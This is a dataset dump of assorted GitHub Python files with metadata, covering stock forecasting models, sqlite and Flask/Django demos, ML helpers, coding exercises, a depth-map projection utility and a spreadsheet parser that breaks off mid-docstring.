closing price.\n :rtype: pandas.DataFrame\n \"\"\"\n if from_date is None:\n raise ValueError('Invalid initial date')\n if to_date is None:\n to_date = from_date\n if from_date > to_date:\n raise ValueError('Invalid date range to predict')\n if from_date <= self.training_end:\n raise ValueError('Date range to predict should be after last date used for training')\n\n if base_dataset is not None:\n warnings.warn(\"Prediction using a base dataset is not supported.\")\n\n # Getting the trading days to predict, including some gaps between the end of the training\n # and the begining of the prediction range\n prediction_start = self.training_end + datetime.timedelta(days=1) \n days_to_predict = self.trading_days_helper.get_trading_days_in_range(prediction_start, to_date)\n\n # Pre-Processing\n # For Prophet only the number of future points to predict is required,\n # then only the number of trading days to predict need to be calculated\n x = self.model.make_future_dataframe(periods=len(days_to_predict))\n\n y = self.model.predict(x)['yhat'][self.training_set.shape[0]:]\n\n return pd.DataFrame({'symbol': self.ticker_symbol,\n 'date': days_to_predict,\n 'predicted_price': y})\\\n .query(\"date >= '{}' and date <= '{}'\".format(from_date, to_date))\n # Filtering to get just the days in the given prediction range\n\n\nclass LongShortTermMemoryStockForecaster(StockForecasterModel):\n \"\"\"\n This represents a stock forecaster model based Long Short Term Memory\n (with Recurrent Neural Networks).\n \"\"\"\n\n def __init__(self, ticker_symbol, trading_days_helper=None, timesteps=60, training_epocs=2):\n \"\"\"\n The constructor.\n\n :param str ticker_symbol: The ticker symbol to perform predictions for.\n :param trading_days_helper: The helper object to get the days that the market is open/closed.\n :type trading_days_helper: TradingDaysHelper or None\n \"\"\"\n StockForecasterModel.__init__(self, ticker_symbol, trading_days_helper=trading_days_helper)\n self.short_name = 'LSTM'\n self.long_name = 'Long Short Term Memory'\n self.scaler = MinMaxScaler(feature_range=(0, 1))\n self.timesteps = timesteps\n self.training_epocs = training_epocs\n\n\n def train(self, base_dataset, start_date=None, end_date=None):\n \"\"\"\n Trains the model.\n\n :param Dataset base_dataset: The dataset used to extract the training set\n in accordance with the date range. \n :param start_date: The minimum date for the records used in the training set.\n :type start_date: datetime.datetime or None\n :param end_date: The maximum date for the records used in the training set.\n :type end_date: datetime.datetime or None\n \"\"\"\n if start_date is not None and end_date is not None and start_date > end_date:\n raise ValueError('Invalid training date range')\n\n self.training_set = base_dataset.getDataframe(ticker_symbol=self.ticker_symbol,\n from_date=start_date, to_date=end_date)\n self.training_start = min(self.training_set.date)\n self.training_end = max(self.training_set.date)\n\n # Pre-Processing\n # LSTM takes as predictors sequences of a given length (time-steps) containing\n # consecutive values in a time sequence,\n # the outcome is the following value in the time sequence.\n # Also the values should be scaled to the range from 0 to 1.\n\n # The sequence of closing prices is needed as a dataframe\n self.training_set = pd.DataFrame(self.training_set, columns=['close'])\n # Scaling the closing prices to the range 0 to 1\n scaled_training_set = self.scaler.fit_transform(self.training_set)\n\n # Getting an array of sequences of size (self.timesteps) of consecutive closing prices\n # and an array with the outcomes\n x_train, y_train = [], []\n for i in range(self.timesteps, len(scaled_training_set)):\n x_train.append(scaled_training_set[i - self.timesteps : i, 0])\n y_train.append(scaled_training_set[i, 0])\n x_train, y_train = np.array(x_train), np.array(y_train)\n\n # Re-shaping the input to feed the LSTM network\n x_train = np.reshape(x_train, (x_train.shape[0], x_train.shape[1], 1))\n\n # Creating and fitting the LSTM network\n self.model = Sequential()\n self.model.add(LSTM(units=50, return_sequences=True, input_shape=(x_train.shape[1], 1)))\n self.model.add(LSTM(units=50))\n self.model.add(Dense(1))\n\n self.model.compile(loss='mean_squared_error', optimizer='adam')\n self.model.fit(x_train, y_train, epochs=self.training_epocs, batch_size=1, verbose=2)\n\n\n def predict(self, from_date, to_date=None, base_dataset=None):\n \"\"\"\n Performs closing price predictions for a given date range.\n\n :param datetime.datetime from_date: The initial date of the date range to predict.\n :param to_date: The final date of the date range to predict.\n :type to_date: datetime.datetime or None\n :param base_dataset: The dataset used to support the prediction.\n :type base_dataset: Dataset or None\n :return: A dataframe containing the date of the trading days in the given range\n and their respective predicted closing price.\n :rtype: pandas.DataFrame\n \"\"\"\n if from_date is None:\n raise ValueError('Invalid initial date')\n if to_date is None:\n to_date = from_date\n if from_date > to_date:\n raise ValueError('Invalid date range to predict')\n if from_date <= self.training_end:\n raise ValueError('Date range to predict should be after last date used for training')\n\n # Getting the trading days to predict, including some gaps between the end of the training\n # and the begining of the prediction range\n prediction_start = self.training_end + datetime.timedelta(days=1) \n days_to_predict = self.trading_days_helper.get_trading_days_in_range(prediction_start, to_date)\n\n # If a base (updated) dataset is used taking the previous values from there,\n # otherwise taking them from the training set\n if base_dataset is not None:\n inputs = base_dataset.dataframe.query(\n \"symbol == '{}' and date <= '{}'\"\\\n .format(self.ticker_symbol, self.training_end))\\\n .close.values\n else:\n inputs = self.training_set.close.values\n\n # The array 'inputs' contains the closing prices in the time sequence,\n # it is initially loaded with self.timesteps elements which\n # last element corresponds to the date when the training ended. \n inputs = inputs[len(inputs) - self.timesteps:]\n inputs = inputs.reshape(-1,1)\n inputs = self.scaler.transform(inputs).reshape(-1)\n\n y = []\n\n for i in range(0, len(days_to_predict)):\n # Taking the next sequence of size self.timesteps of closing prices from 'inputs'\n x = np.array(inputs[i : i + self.timesteps])\n # Re-shaping to be used by the LSTM as input\n x = np.reshape(x, (1, self.timesteps, 1))\n\n # Predicting the next value in the time sequence (it needs to be scaled back)\n pred = self.model.predict(x)\n y.append(self.scaler.inverse_transform(pred).reshape(-1)[0])\n\n # If a base (updated) dataset is used taking the following value in the time sequence\n # from there if it exists (it should be scaled), otherwise taking the predicted value. \n existing_rec = base_dataset.dataframe.query(\n \"date == '{}' and symbol == '{}'\".format(days_to_predict[i], self.ticker_symbol)) \\\n if base_dataset is not None else None\n if existing_rec is not None and len(existing_rec) > 0:\n inputs = np.append(\n inputs, self.scaler.transform(existing_rec.close.values.reshape(-1,1)).reshape(-1)[0])\n else:\n inputs = np.append(inputs, pred)\n\n return pd.DataFrame({'symbol': self.ticker_symbol,\n 'date': days_to_predict,\n 'predicted_price': y})\\\n .query(\"date >= '{}' and date <= '{}'\".format(from_date, to_date))\n # Filtering to get just the days in the given prediction range","repo_name":"egar-garcia/machine-learning-engineer-nanodegree-capstone","sub_path":"djia_stock_prediction.py","file_name":"djia_stock_prediction.py","file_ext":"py","file_size_in_byte":37783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"17146733189","text":"import sqlite3\n\n# Si la bdd n'existe pas il va la créer\ncnx = sqlite3.connect(\"formation.db\")\ncurseur = cnx.cursor() # permet d'executer des requetes sur la BDD\n\n#Cretion d'un tableau dans la BDD\ncurseur.execute(\"CREATE TABLE IF NOT EXISTS employe (nom TEXT, prenom TEXT)\")\n\n# Inserer un employé dans la BDD\n# curseur.execute(\"INSERT INTO employe (nom, prenom) VALUES ('Doe', 'John')\")\n\n# Deuxième méthode insertion via un dictionnaire\nemploye_variable = {\n 'lastname' : \"Zarella\",\n 'firstname' : \"Maude\" # on pourrait également le passer sous forme de viriable suite à la saisie de l'utlisateur par exmeple\n}\n#curseur.execute(\"INSERT INTO employe (nom, prenom) VALUES (:lastname, :firstname)\", employe_variable)\n\n# methode insertion avec tuple\nemploye_tuple= ('Hochet', 'Rick')\ncurseur.execute(\"INSERT INTO employe (nom, prenom) VALUES (? , ?)\", employe_tuple)\n\n# Lorque lon modifie les colones d'un tableau en BDD il faut sauvengarder les changements\ncnx.commit()\n\ncnx.close()\n","repo_name":"gdpe404/formation_avancee_python","sub_path":"02-bdd/create.py","file_name":"create.py","file_ext":"py","file_size_in_byte":991,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"15873704230","text":"import os\nimport pymongo\nfrom flask_restful import Resource, reqparse\nfrom langchain.embeddings.huggingface import HuggingFaceEmbeddings\nfrom llama_index import (\n LangchainEmbedding,\n ServiceContext,\n StorageContext,\n load_index_from_storage,\n set_global_service_context,\n)\nfrom llama_index.memory import ChatMemoryBuffer\n\nos.environ[\"TOKENIZERS_PARALLELISM\"] = \"False\"\nos.environ[\"OPENAI_API_KEY\"] = os.getenv(\"FLASK_OPENAI_API_KEY\")\n\ntry:\n client = pymongo.MongoClient(os.getenv(\"FLASK_MONGODB_URI\"))\n db = client[\"hackathon\"]\n print(\"Connected to the dev database successfully.\")\nexcept pymongo.errors.ConnectionFailure as e:\n print(\"Failed to connect to the dev database: %s\", e)\n\nmedicineRef = db[\"medicine\"]\n\nmodel = LangchainEmbedding(HuggingFaceEmbeddings(model_name='sentence-transformers/all-MiniLM-L6-v2'))\nservice_context = ServiceContext.from_defaults(embed_model=model)\nset_global_service_context(service_context)\n\nstorage_context = StorageContext.from_defaults(persist_dir=\"./AI/disease_remedy_index\")\nmedical_index = load_index_from_storage(storage_context)\n\nmemory = ChatMemoryBuffer.from_defaults(token_limit=1500)\n\nayurvedic_remedy_engine = medical_index.as_chat_engine(\n chat_mode=\"context\",\n memory=memory,\n system_prompt=\"\"\"\n Act as an ayurvedic doctor suggesting ayurvedic remedies for disease. \n I will provide you disease name, you should provide me ayurvedic remedies for that disease in brief.\n \"\"\" ,\n)\n\nclass AyurvedicRemedies(Resource):\n\n def post(self):\n parser = reqparse.RequestParser()\n parser.add_argument(\"disease\", type=str, required=True, help=\"disease is required\")\n\n args = parser.parse_args()\n disease = args[\"disease\"]\n data = {\n \"disease\": disease,\n \"remedy\": getAyurvedicRemedies(disease)\n }\n\n return {\"error\": False, \"data\": data}, 200\n\n\ndef getAyurvedicRemedies(disease):\n try:\n response = ayurvedic_remedy_engine.chat(disease)\n return response.response\n except Exception as e:\n return {\"error\": True, \"message\": str(e)}, 500\n","repo_name":"jhenilparihar/AyuCare","sub_path":"backend/resources/remedies.py","file_name":"remedies.py","file_ext":"py","file_size_in_byte":2126,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30886545627","text":"import functools\nimport gc\nimport multiprocessing as mp\nimport os\nfrom typing import Any, Callable, Dict, List, NoReturn, Tuple\n\nimport hydra\nimport joblib as jl\nimport numpy as np\nimport omegaconf\n\n\ndef make_path(dataset_params: Dict[str, str]) -> str:\n if not (\"path\" in dataset_params or \"file\" in dataset_params):\n raise KeyError(\"`dataset_params` does not contain the information necessary.\")\n\n return os.path.join(dataset_params[\"path\"], dataset_params[\"file\"])\n\n\ndef load_metadata(folders: List[str], files: List[str]) -> Dict[str, Any]:\n overides_ = [f\"+{a}={b}\" for a, b in zip(folders, files)]\n\n with hydra.initialize_config_module(config_module=\"conf\"):\n metadata = hydra.compose(overrides=overides_)\n\n return omegaconf.OmegaConf.to_object(metadata)\n\n\ndef load_dataset_params(dataset: str):\n return load_metadata([\"data\"], [dataset])[\"data\"]\n\n\ndef execute_in_multplipe_processes(\n functions: List[Callable[[Any], Any]], fn_args: List[Tuple[Any]]\n) -> NoReturn:\n\n spawned_processes = []\n\n if fn_args is None:\n args = [tuple()] * len(functions)\n else:\n if len(functions) != len(fn_args):\n raise ValueError(\n \"List of arguments and list of functions have unmatching lengths.\"\n )\n\n for fn, args in zip(functions, fn_args):\n process = mp.Process(target=fn, args=args)\n process.start()\n spawned_processes.append(process)\n\n _ = map(lambda p: p.join(), spawned_processes)\n\n\ndef run_in_parallel(\n function: Callable[[Any], Any],\n values: List[Any],\n backend: str = \"loky\",\n n_jobs: int = 4,\n verbose: int = 2,\n) -> List[Any]:\n results = jl.Parallel(n_jobs=n_jobs, backend=backend, verbose=verbose)(\n jl.delayed(function)(x) for x in values\n )\n\n gc.collect()\n return results\n\n\ndef log_execution_start(fn):\n @functools.wraps(fn)\n def wrapper(*args, **kwargs):\n print(f\"Started execution of `{fn.__name__}`\")\n return fn(*args, **kwargs)\n\n return wrapper\n\n\ndef _compute_one_dimension_size(\n input_dim_size: int, filter_dim_size: int, stride: int, padding: int\n) -> int:\n return np.floor(\n ((input_dim_size + 2 * padding - filter_dim_size) / stride) + 1\n ).astype(np.int32)\n\n\ndef _same_convolution_padding(filter_shape: Tuple[int, int]) -> Tuple[int, int]:\n filter_height, filter_width = filter_shape\n same_padding_height, same_padding_width = (\n (filter_height - 1) / 2,\n (filter_width - 1) / 2,\n )\n return same_padding_height, same_padding_width\n\n\ndef convolution_output_dimension(\n input_shape: Tuple[int, int],\n filter_shape: Tuple[int, int],\n stride: Tuple[int, int],\n padding: Tuple[int, int],\n num_filters: int,\n) -> Tuple[int, int, int]:\n input_height, input_width = input_shape\n filter_height, filter_width = filter_shape\n stride_height, stride_width = stride\n padding_height, padding_with = padding\n\n output_height = _compute_one_dimension_size(\n input_height, filter_height, stride_height, padding_height\n )\n\n output_width = _compute_one_dimension_size(\n input_width, filter_width, stride_width, padding_with\n )\n\n return (output_height, output_width, num_filters)\n","repo_name":"statsgustavo/facial-keypoints-detection","sub_path":"src/facial_keypoints_detection/tools/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":3249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"13185923394","text":"from .base import MljarHttpClient\nfrom ..model.dataset import Dataset\nfrom ..exceptions import FileUploadException\n\nfrom ..log import logger\n\nclass DataUploadClient(MljarHttpClient):\n '''\n Client to upload data into MLJAR.\n '''\n def __init__(self):\n self.url = \"/s3policy/\"\n super(DataUploadClient, self).__init__()\n\n def _get_signed_url(self, project_hid, file_path):\n data = {'project_hid':project_hid, 'fname': file_path.split('/')[-1]}\n response = self.request(\"POST\", self.url, data = data)\n return response.json()\n\n def upload_file(self, project_hid, file_path):\n logger.info('File upload started')\n url_data = self._get_signed_url(project_hid, file_path)\n signed_url = url_data['signed_url']\n dst_path = url_data['destination_path']\n with open(file_path, 'rb') as fin:\n response = self.request(\"PUT\", signed_url, data=fin.read(),\n with_header=False, url_outside_mljar=True,\n parse_json=False)\n if response.status_code != 200:\n raise FileUploadException('There was a problem with data upload into MLJAR')\n return dst_path\n","repo_name":"yutfut/TMO","sub_path":"Laba#6:курсовая/venv/lib/python3.9/site-packages/mljar/client/dataupload.py","file_name":"dataupload.py","file_ext":"py","file_size_in_byte":1248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20332548693","text":"t = int(input())\nmax_sum= 0\n\nfor idx in range(1,t+1):\n n,m = map(int, input().split())\n tc = []\n for i in range(n):\n tc.append(list((map(int, input().split())))) #testcase 입력 끝\n\n for i in range(n-m+1):\n for j in range(n-m+1):\n sum = 0\n for k in range(m):\n for l in range(m):\n sum+= tc[i+k][j+l]\n if sum>max_sum:\n max_sum = sum\n\n print(f\"#{idx} {max_sum}\")\n max_sum = 0\n \n\n ","repo_name":"yeoneed/Algorithm_byme","sub_path":"SWEA/2001_파리_퇴치.py","file_name":"2001_파리_퇴치.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"7700195628","text":"import firebase_admin\nfrom firebase_admin import credentials\nfrom firebase_admin import firestore\nfrom random import randint\n\ncred = credentials.Certificate(\"../credentials/rh.json\")\nfirebase_admin.initialize_app(cred)\n\nimport random\nimport time\n\ndef strTimeProp(start, end, format, prop):\n stime = time.mktime(time.strptime(start, format))\n etime = time.mktime(time.strptime(end, format))\n ptime = stime + prop * (etime - stime)\n return time.strftime(format, time.localtime(ptime))\n\n\ndef randomDate(start, end, prop):\n return strTimeProp(start, end, '%Y-%m-%d %I:%M %p', prop)\n\ndef generateData():\n data = {\n u'addedBy':u'4uaHJ1zzB9ZWiySnr610oD3oFat2',\n u'category':u'Inventory',\n u'cost':randint(50,60),\n u'date':u''+str(randomDate(\"2017-1-1 1:30 PM\", \"2018-1-1 4:50 AM\", random.random())),\n u'itemId':u'CPoMrmIlyHrKAb7xtejG',\n u'logId':u''+str(randint(1,1000)),\n u'logType':u'Added',\n u'quantity':randint(1,5),\n u'remarks':u'dsfvdsc',\n u'selectedColumns':u'Boys',\n u'subCategory':u'Assets'\n }\n return data\n\ndb = firestore.client()\n\nfor i in range(0,100):\n data = generateData()\n db.collection(u'logs').document(data['logId']).set(data)","repo_name":"DarshanGowda0/ML-Reaching-Hands","sub_path":"python-clients/simulate_data.py","file_name":"simulate_data.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"72644851930","text":"from spots_detection import empty_spots_detection as d_spots\nimport numpy as np\nimport cv2\n\n\ndef get_available_spots(image,id):\n alpha = 0.5\n empty_spots=d_spots.detect_empty_spots(image,id)\n cp_image = np.copy(image)\n new_image = np.copy(image)\n amount=len(empty_spots[0])+len(empty_spots[1])+len(empty_spots[2])\n for i in range(len(empty_spots)):\n for box in empty_spots[i]:\n x1, y1, x2, y2 = box\n cv2.rectangle(cp_image, (int(x1), int(y1)), (int(x2), int(y2)), (0, 255, 0), -1)\n cv2.addWeighted(cp_image, alpha, new_image, 1 - alpha, 0, new_image)\n cv2.putText(new_image, \"Total: %d\" % amount, (30, 125),\n cv2.FONT_HERSHEY_SIMPLEX,\n 0.7, (255, 255, 255), 2)\n return new_image","repo_name":"lacusver/parking_lot_detection","sub_path":"spots_detection/detection_on_frame.py","file_name":"detection_on_frame.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"24715209595","text":"import typing as T\n\nimport flask\nimport markupsafe\n\n# pt1: add app, serve index\n# pt2: add \"messaging\" and \"user\"\n\napp = flask.Flask(__name__)\n\n\n# \"messaging\"\n\nusers = [\n \"a\",\n \"b\",\n]\n\ncreds = {\n \"a\": \"1234\",\n \"b\": \"1234\",\n}\n\nmessages = {\n \"a\": [\n {\n \"from\": \"b\",\n \"msg\": \"hey\",\n },\n ],\n \"b\": [\n {\n \"from\": \"a\",\n \"msg\": \"weird to write myself for a demo in front of an audience?\",\n },\n ],\n}\n\n\n# index\n\n\n@app.route(\"/\")\ndef index():\n msg = \"

    Hello, World!

    \"\n return msg\n\n\n# user\n\n\n@app.route(\"/user\")\n@app.route(\"/user/\")\ndef user_msg(user: T.Optional[str] = None):\n user = markupsafe.escape(user) if user is not None else None\n if user not in users:\n flask.abort(404)\n return f\"User {user} {messages[user]}\"\n","repo_name":"poppyargus/py-talk-flask-2023-04","sub_path":"pt2/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":837,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"44348158450","text":"# 1. Create a route_info function to pass the dictionary to\n# 2. If the dictionary has a distance key and its value is an integer, return the string \"Distance to your destination is \".\n# 3. Otherwise, if the dictionary has speed and time keys, return the string \"Distance to your destination is \".\n# 4 Otherwise return the string \"No distance info is available\".\n# 5. Call the function several times with different arguments\n\n\ndef route_info(route):\n if ('distance' in route) and (type(route['distance']) == int):\n return f\"Distance to your destination is {route['distance']}\"\n\n if ('speed' in route) and ('time' in route):\n return f\"Distance to your destination is {route['speed'] * route['time']}\"\n\n return \"No distance info is available\"\n\n\nmy_dict_a = {\n 'distance': 200,\n 'speed': 60,\n 'time': 2,\n}\n\nmy_dict_b = {\n 'speed': 60,\n 'time': 2,\n}\n\nmy_dict_c = {\n 'transport': 'car',\n 'color': 'red',\n 'time': 2,\n}\n\n\nprint(route_info(my_dict_a))\nprint(route_info(my_dict_b))\nprint(route_info(my_dict_c))\n\n","repo_name":"exorive/Python","sub_path":"Udemy_HW_if_instructions.py","file_name":"Udemy_HW_if_instructions.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"41447773636","text":"import nest\nimport sys\n\nnest.Install(\"cerebmodule\")\n\nVT = nest.Create(\"volume_transmitter_alberto\", 1)\n\nPRE = nest.Create(\"iaf_cond_exp\", 1)\nPOST = nest.Create(\"iaf_cond_exp\", 1)\n\nconn_param1 = {\"model\": 'stdp_synapse_sinexp',\n \"A_minus\": -0.01, # double - Amplitude of weight change for depression\n \"A_plus\": 0.01, # double - Amplitude of weight change for facilitation \n \"Wmin\": 0.0, # double - Minimal synaptic weight \n \"Wmax\": 4.0, # double - Maximal synaptic weight, \n \"weight\": 1.0,\n \"delay\": 1.0}\n\nnest.Connect(PRE,POST,{'rule': 'one_to_one'},conn_param1)\nA=nest.GetConnections(PRE,POST)\nnest.SetStatus(A,{'vt_num': 0})\n\nconn_param2 = {\"model\": 'stdp_synapse_cosexp',\n \"A_minus\": -0.01, # double - Amplitude of weight change for depression\n \"A_plus\": 0.01, # double - Amplitude of weight change for facilitation \n \"Wmin\": 0.0, # double - Minimal synaptic weight \n \"Wmax\": 4.0, # double - Maximal synaptic weight, \n \"weight\": 1.0,\n \"delay\": 1.0}\n\nnest.Connect(POST,PRE,{'rule': 'one_to_one'},conn_param2)\nA=nest.GetConnections(POST,PRE)\nnest.SetStatus(A,{'vt_num': 0})\n\nsys.exit(0) #Everything went fine\n","repo_name":"alberto-antonietti/CerebNEST","sub_path":"Tests/Check_Models.py","file_name":"Check_Models.py","file_ext":"py","file_size_in_byte":1363,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"32"} +{"seq_id":"70174951773","text":"val = float(input(\"Informe o valor a ser pago: \"))\ncond = int(input(\"Informe a condição de pagamento\"\n \"\\n[1]À Vista\\n[2]À Vista no cartão\\n[3]Em 2x no Cartão\\n[4]Em 3x ou mais no Cartão\\nDigite a opção: \"))\navi = val-(val*10)/100\navic = val-(val*5)/100\ncar2 = val\ncar3 = val+(val*20)/100\n\nif cond == 1:\n print(\"O valor do produto fica por: R${}\".format(avi))\nelif cond == 2:\n print(\"O valor do produto fica por: R${}\".format(avic))\nelif cond == 3:\n print(\"O valor do produto fica por: R${}\".format(val))\nelse:\n parc = int(input(\"Informe a quantidade de parcelas: \"))\n print(\"O valor sairá por: R${} em {} parcelas de R${}\".format(car3,parc,car3/parc))","repo_name":"GustavoJatene/practice","sub_path":"044.py","file_name":"044.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"13588487354","text":"from http.client import HTTPResponse\nfrom django.shortcuts import render\nfrom django.http import HttpResponse, Http404\nfrom news.models import News\nfrom .forms import NewsForm\n\ndef index(request, *args, **kwards):\n qs = News.objects.all()\n context = {'news_list': qs}\n return render(request, 'index.html', context)\n\ndef detail_view(request, pk):\n try:\n obj = News.objects.get(id=pk)\n except News.DoesNotExist:\n raise Http404\n \n print(request.POST)\n print(request.GET)\n print(request.method == \"POST\")\n print(request.method == \"GET\")\n\n return render(request, 'news/detail.html', {'single_object': obj})\n \n\n\n\n\ndef test_view(request, *args, **kwargs):\n print(request.GET)\n return HttpResponse(\"test view\")\n\ndef create_view(request, *args, **kwargs):\n form = NewsForm(request.POST or None)\n\n if form.is_valid():\n data = form.cleaned_data\n News.objects.create(**data)\n print(form.cleaned_data) \n return render(request, 'forms.html', {'form': form})\n\n\n\n \n\n","repo_name":"megamagomed/My-first-application","sub_path":"first_app/news/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"42311992449","text":"import torch \n\n\ndef _create_frustum(depth_map, input_size, downsample):\n '''\n depth_map: B, N, n_depth, H, W \n '''\n # make grid in image plane\n n_depth = depth_map.shape[2]\n device = depth_map.device\n ogfH, ogfW = input_size\n fH, fW = ogfH // int(downsample), ogfW // int(downsample)\n assert fH == depth_map.shape[3] and fW == depth_map.shape[4], (fH, fW, depth_map.shape)\n ds = depth_map \n ds = ds.clamp(0.)\n B, N_cam, D, H, W = ds.shape\n xs = torch.linspace(0, ogfW - 1, fW, dtype=torch.float).view(1, 1, fW).expand(B, N_cam, D, fH, fW).to(device)\n ys = torch.linspace(0, ogfH - 1, fH, dtype=torch.float).view(1, fH, 1).expand(B, N_cam, D, fH, fW).to(device)\n\n # B, N_cam, D, H, W, 3\n frustum = torch.stack((xs, ys, ds), -1)\n return frustum\n\n\ndef get_geometry(frustum, rots, trans, intrins, post_rots, post_trans, offset=None):\n \"\"\"Determine the (x,y,z) locations (in the ego frame)\n of the points in the point cloud.\n Returns B x N x D x H/downsample x W/downsample x 3\n \"\"\"\n B, N, _ = trans.shape\n # undo post-transformation\n # B x N x D x H x W x 3\n points = frustum - post_trans.view(B, N, 1, 1, 1, 3)\n if offset is not None:\n _,D,H,W = offset.shape\n points[:,:,:,:,:,2] = points[:,:,:,:,:,2]+offset.view(B,N,D,H,W)\n points = torch.inverse(post_rots).view(B, N, 1, 1, 1, 3, 3).matmul(points.unsqueeze(-1))\n\n # cam_to_ego\n points = torch.cat((points[:, :, :, :, :, :2] * points[:, :, :, :, :, 2:3],\n points[:, :, :, :, :, 2:3]\n ), 5)\n if intrins.shape[3]==4: # for KITTI\n shift = intrins[:,:,:3,3]\n points = points - shift.view(B,N,1,1,1,3,1)\n intrins = intrins[:,:,:3,:3]\n combine = rots.matmul(torch.inverse(intrins))\n points = combine.view(B, N, 1, 1, 1, 3, 3).matmul(points).squeeze(-1)\n points += trans.view(B, N, 1, 1, 1, 3)\n\n # points_numpy = points.detach().cpu().numpy()\n return points\n\n\ndef _decorate_points(points_map, decoration_img): \n bs, n_cam, n_depth, h, w, _ = points_map.shape \n decoration_img = decoration_img.permute(0, 1, 3, 4, 2).unsqueeze(2) # shape: bs, n_cam, 1, h, w, 3\n decoration_img = decoration_img.expand((bs, n_cam, n_depth, h, w, 3))\n points_map = torch.cat((points_map, decoration_img), dim=-1) # shape: bs, n_cam, n_depth, h, w, 6. dimensions: x, y, z, r, g, b\n return points_map \n\ndef convert_depth_map_to_points(depth, input_size, downsample, rots, trans, intrins, post_rots, post_trans, decoration_img=None, return_batch_idx=True):\n bs, n_cam, n_depth, h, w = depth.shape\n # depth.shape == (bs, n_cam, n_depth, h, w)\n frustum = _create_frustum(depth, input_size, downsample)\n geom = get_geometry(frustum, rots, trans, intrins, post_rots, post_trans)\n\n if decoration_img is not None: \n geom = _decorate_points(geom, decoration_img)\n \n if return_batch_idx:\n geom = geom.view(-1, geom.shape[-1])\n\n batch_ix = torch.cat([torch.full([geom.shape[0] // bs, 1], ix,\n device=depth.device, dtype=torch.long) for ix in range(bs)])\n return geom, batch_ix\n else: \n geom = geom.view(bs, -1, geom.shape[-1])\n return geom \n\n","repo_name":"duanyiqun/DiffusionDepth","sub_path":"src/model/ops/depth_map_to_points.py","file_name":"depth_map_to_points.py","file_ext":"py","file_size_in_byte":3270,"program_lang":"python","lang":"en","doc_type":"code","stars":204,"dataset":"github-code","pt":"32"} +{"seq_id":"19779748142","text":"# https://programmers.co.kr/learn/courses/30/lessons/12977\nimport itertools\n\n\ndef solution(nums):\n answer = 0\n # itertools -> permutation(순열), combinations(조합)\n comb_list = itertools.combinations(nums, 3)\n\n for comb in comb_list:\n total = sum(comb)\n for i in range(2, total // 2 + 1):\n if total % i == 0:\n break\n else:\n answer += 1\n\n return answer\n","repo_name":"YAEJIN-JEONG/Algorithm","sub_path":"프로그래머스/Lv1. 소수 만들기/경진/Lv1. 소수 만들기.py","file_name":"Lv1. 소수 만들기.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"74367621852","text":"L = [3, 3, 1, 5, 4]\nlista = []\nfim = len(L)\nwhile fim > 1:\n trocou = False\n x = 0\n while x < (fim - 1):\n if L[x] > L[x + 1]:\n trocou = True\n temp = L[x]\n L[x] = L[x + 1]\n L[x + 1] = temp\n x += 1\n if not trocou:\n break\n fim -= 1\nfor e in L:\n lista.append(e)\n\nprint(lista)\n\n# O PROGRAMA FUNCIONARÁ DO MESMO JEITO, DEIXANDO OS\n# NUMERO EM ORDEM MESMO REPETIDO\n","repo_name":"yhammartes/Livro_Python","sub_path":"cap006/exer_15.py","file_name":"exer_15.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"27385873875","text":"\"\"\"\nМеханика листа.\nПредоставляется функциональность добавления расчетных строк с ячейками, с последующей механикой расчета.\n\"\"\"\n\nfrom typing import Dict, Tuple, Union\n\nfrom excel.cell.cell import CellValue\nfrom excel.cell.expression_value import ExpressionValue\n\n\nclass Sheet:\n \"\"\"\n Лист\n \"\"\"\n\n def __init__(self, size_line: str):\n \"\"\"\n :param size_line: Строка задающая размер листа\n :raise: ValueError\n \"\"\"\n\n self._size: SheetSize = SheetSize.parser(size_line)\n self._cell_list: Dict[Tuple[int, int], Union[CellValue, str, int]] = {}\n\n def get_size(self) -> 'SheetSize':\n \"\"\"\n Получить размер листа\n \"\"\"\n\n return self._size\n\n def add_line(self, line: str):\n \"\"\"\n Добавить строку с ячейками\n\n :param line: Строка со значениями в ячейках\n :raise: ValueError\n \"\"\"\n\n error_text = f'Строка со значением ячеек должна содержать ' \\\n f'\"{self._size.x}\" выражений разделенных символом табуляции!'\n\n if not isinstance(line, str):\n raise ValueError(error_text)\n\n cell_value_list = line.split('\\t')\n if not (len(cell_value_list) == self._size.x):\n raise ValueError(error_text)\n\n if len(self._cell_list) >= self._size.y * self._size.x:\n raise ValueError('Достигнут предел размерности таблицы по вертикали!')\n\n # Заполнить текущую строку ячейками\n line_number = int(len(self._cell_list) / self._size.x) + 1\n for i, value in enumerate(cell_value_list):\n self._cell_list[(i + 1, line_number)] = CellValue.parser(value)\n\n def calculate(self) -> Dict[Tuple[int, int], Union[str, int]]:\n \"\"\"\n Рассчитать значения\n :return Ключом является кортеж (x, y), 